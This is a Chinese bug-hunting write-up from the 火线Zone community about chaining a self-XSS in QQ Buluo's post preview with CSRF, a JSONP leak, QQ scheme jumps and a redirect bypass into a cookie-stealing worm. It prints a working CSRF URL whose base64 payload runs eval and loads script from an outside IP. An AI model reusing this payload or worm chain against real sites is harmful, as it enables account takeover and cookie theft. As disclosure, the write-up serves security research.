挖洞经验 | self-xss的进化之路

  • A+
所属分类:安全文章

本文涉及漏洞点:

1、self-xss
2、scheme 跳转
3、URL 跳转
4、CSRF
5、JSONP

挖掘过程分解:

一、挖掘背景介绍

在某次冲浪过程中,随手测试了一下这个系统的预览功能,点击预览会生成二维码,需要手机QQ扫描才能访问预览界面。

挖洞经验 | self-xss的进化之路

挖洞经验 | self-xss的进化之路

随手点击F12修改HTML源码,插入XSS代码

挖洞经验 | self-xss的进化之路

再次扫描二维码预览,触发XSS。

挖洞经验 | self-xss的进化之路

原本以为这就结束了,直到换了一个账户,扫描之后才发现进坑了,这是一个self-xss,无奈洞是自己挖的,无论如何也要利用起来。

二、self-xss的上位之路

1.首先解码二维码,发现uin为当前预览用户的QQ号,seq为当前预览生成的次数。通过测试发现,直接访问这个链接与扫描二维码的效果一致,这就进一步方便了我们攻击链的形成。

挖洞经验 | self-xss的进化之路

2.到这里初步利用的思路就来了,首先需要受害者触发恶意预览请求的操作,然后要设法让受害者访问到预览请求之后的链接。

3.开始第一步,设法让受害者触发恶意预览请求操作。经过测试发现预览请求可以由POST改为GET,这就有可能存在CSRF漏洞。

挖洞经验 | self-xss的进化之路

3.1但是后台验证了Referer,要解决 Referer 的问题,首先就需要这个请求是由buluo.qq.com发起的,并且浏览器需要带上Referer头。

挖洞经验 | self-xss的进化之路

3.2 CSRF 的 Referer 问题这个我们可以通过 img 标签解决,发帖测试可行。

挖洞经验 | self-xss的进化之路

4.受害者QQ号的问题?我怎么才能知道受害者的QQ号呢?这里就需要用到JSONP漏洞了,在写了一个burp插件后,很轻松找到了一个JSONP泄露。

挖洞经验 | self-xss的进化之路

5.到现在我们回顾一下,该漏洞需要手机QQ访问预览链接,所以这个漏洞只能在手机QQ上触发,但是无论是触发预览请求,还是JSONP都需要用户处于登录状态,那我们怎么才能保证用户访问的时候是处于登录状态呢。这里就又用到一个新的机制 scheme。

6.手机QQ scheme 跳转

mqqapi://forward/url?version=1&src_type=web&url_prefix=[base64_url]

当我尝试使用xxx.qq.com这类域名的时候,发现直接就成功登录了,初步猜测,是APP中做了判断,如果是qq.com 这类腾讯域名的话,就会带上cookie 进行访问。

挖洞经验 | self-xss的进化之路

7.该 shceme 限制了只能跳转腾讯的域名。所以我们还需要一个 qq.com 域下的URL跳转漏洞。恰巧我又发现该系统下的一个有限制的跳转。跳转的时候,会进行提示。

https://xxxx/mobile/jumpURL.html?_wv=4&url=http%3A%2f%2f106.52.197.233%3A8888%2fqingfengshifu%2findex.php%26ie%3Dutf-8[1]

挖洞经验 | self-xss的进化之路

8.但是baidu的域名有很大几率绕过这个提示,所以只需要在找个baidu的跳转就可以了。组合起来就是这样。成功绕过安全提示。

https://xxxx/mobile/jumpURL.html?_wv=4&url=https%3A%2f%2fbaidu.com%2fs%3Fwd%3Dpaperuri%253A%25284a9cb4a895e665c048089b2b3a78e1cf%2529%26filter%3Dsc_long_sign%26tn%3DSE_xueshusource_2kduw22v%26sc_vurl%3Dhttp%3A%2f%2fxxxx%3A8888%2fqingfengshifu%2findex.php%26ie%3Dutf-8[2]

挖洞经验 | self-xss的进化之路

9.同时我发现QQ浏览器与手机QQ之间使用 Scheme 跳转,是全程静默没有提示的。所以完整的思路就来了。如下所示。

挖洞经验 | self-xss的进化之路

三、self-xss 进化 蠕虫!!!

1.发布恶意帖子,使用 IMG 标签触发 CSRF 包含恶意代码的预览生成请求。

挖洞经验 | self-xss的进化之路

img 内解码如下


(https://buluo.qq.com/cgi-bin/bar/site/post/rich_post_preview_write?amp%3Bbkn=1307777311%22%3E&amp%3Bcoordinate=1&amp%3Bextparam=%7B%22client_type%22%3A4%7D&amp%3Bgid=0&amp%3Blat=0&amp%3Blon=0&amp%3Bposts=W3siY29udGVudCI6ImFhYWFhYSIsInBpY19saXN0IjpbXSwidmlkZW9fbGlzdCI6W10sInRpdGxlIjoiIyMjLi4uXl9eIyMjIiwiX3NvdXJjZSI6InBjIn0seyJyaWNoVGV4dCI6IjxwPmFhYWFhYTxici8%2BPGltZyBzcmM9XCJiYi5jb21cIiBvbmVycm9yPVwiZXZhbChhdG9iKCYjMzk7Wkc5amRXMWxiblF1ZDNKcGRHVW9Janh6WTNKcGNIUWdjM0pqUFdoMGRIQTZMeTh4TURZdU5USXVNVGszTGpJek16bzRPRGc0TDNGcGJtZG1aVzVuYzJocFpuVXZNUzVxY3o0OEwzTmpjbWx3ZEQ0aUtRPT0mIzM5OykpXCIvPjwvcD4iLCJpc19yZWNydWl0IjowfV0%3D&amp%3Br=0.09175399385799554&amp%3Bsource=2&amp%3Btitle=%23%23%23...%5E_%5E%23%23%23&amp%3Btype=302&amp%3Buid=0&bid=10628)


posts base64解码,直接引用外部 JS:

[{"content":"aaaaaa","pic_list":[],"video_list":[],"title":"###...^_^###","_source":"pc"},{"richText":"

aaaaaa
<img src="bb.com" onerror="eval(atob('document.write("")'))"/>

","is_recruit":0}]


2.创建恶意页面 index.php,使用iframe包含该恶意帖子,触发CSRF,同时跳转到下个页面:

挖洞经验 | self-xss的进化之路

3.在 info.php 中,使用JSONP 截取目标QQ号,并循环生成 iframe 绕过 seq 限制。(iframe 的地址就是最终预览链接地址),触发XSS,同时隐藏iframe。

挖洞经验 | self-xss的进化之路

4.将控制跳转的 jump.php 发布出去。使用 scheme 控制各种跳转去访问恶意的 index.php:

挖洞经验 | self-xss的进化之路

5.编写获取cookie与XMLhttp 发帖蠕虫的 1.js 文件:

挖洞经验 | self-xss的进化之路

6.发帖内容解码如下,A标签添加 href 利用跳转绕过,指向我们的恶意网页。img 标签再次触发预览的CSRF请求:

挖洞经验 | self-xss的进化之路

四、最终演示:

(视频就不放咯,以免引起不必要的麻烦)

最终效果就是,受害者使用qq浏览器或手机QQ访问了某恶意页面,该页面会通过 schame 调用手机QQ,触发xss窃取信息,并发布带有恶意地址的帖子。当其他用户浏览了这个帖子,并点击了A标签,又会进行相同的步骤。形成蠕虫。(因为是测试,所以多了一些无用步骤包括跳转等待等等)。

其实一系列低危甚至无危的漏洞,通过组合利用,往往就能变废为宝。

References

[1] https://xxxx/mobile/jumpURL.html?_wv=4&url=http%3A%2f%2f106.52.197.233%3A8888%2fqingfengshifu%2findex.php%26ie%3Dutf-8: https://buluo.qq.com/mobile/jumpURL.html?_wv=4&url=http%3A%2F%2F106.52.197.233%3A8888%2Fqingfengshifu%2Findex.php%26ie%3Dutf-8
[2] https://xxxx/mobile/jumpURL.html?_wv=4&url=https%3A%2f%2fbaidu.com%2fs%3Fwd%3Dpaperuri%253A%25284a9cb4a895e665c048089b2b3a78e1cf%2529%26filter%3Dsc_long_sign%26tn%3DSE_xueshusource_2kduw22v%26sc_vurl%3Dhttp%3A%2f%2fxxxx%3A8888%2fqingfengshifu%2findex.php%26ie%3Dutf-8: https://buluo.qq.com/mobile/jumpURL.html?_wv=4&url=https%3A%2F%2Fbaidu.com%2Fs%3Fwd%3Dpaperuri%253A%25284a9cb4a895e665c048089b2b3a78e1cf%2529%26filter%3Dsc_long_sign%26tn%3DSE_xueshusource_2kduw22v%26sc_vurl%3Dhttp%3A%2F%2F106.52.197.233%3A8888%2Fqingfengshifu%2Findex.php%26ie%3Dutf-8


【周度激励】2021.4.05 ~ 2021.4.11公告

挖洞经验 | self-xss的进化之路


【火线Zone】


火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火小表妹]免费加入~

我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!

欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!


挖洞经验 | self-xss的进化之路

挖洞经验 | self-xss的进化之路

关注我们 解锁更多挖洞姿势


本文始发于微信公众号(火线Zone):挖洞经验 | self-xss的进化之路

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: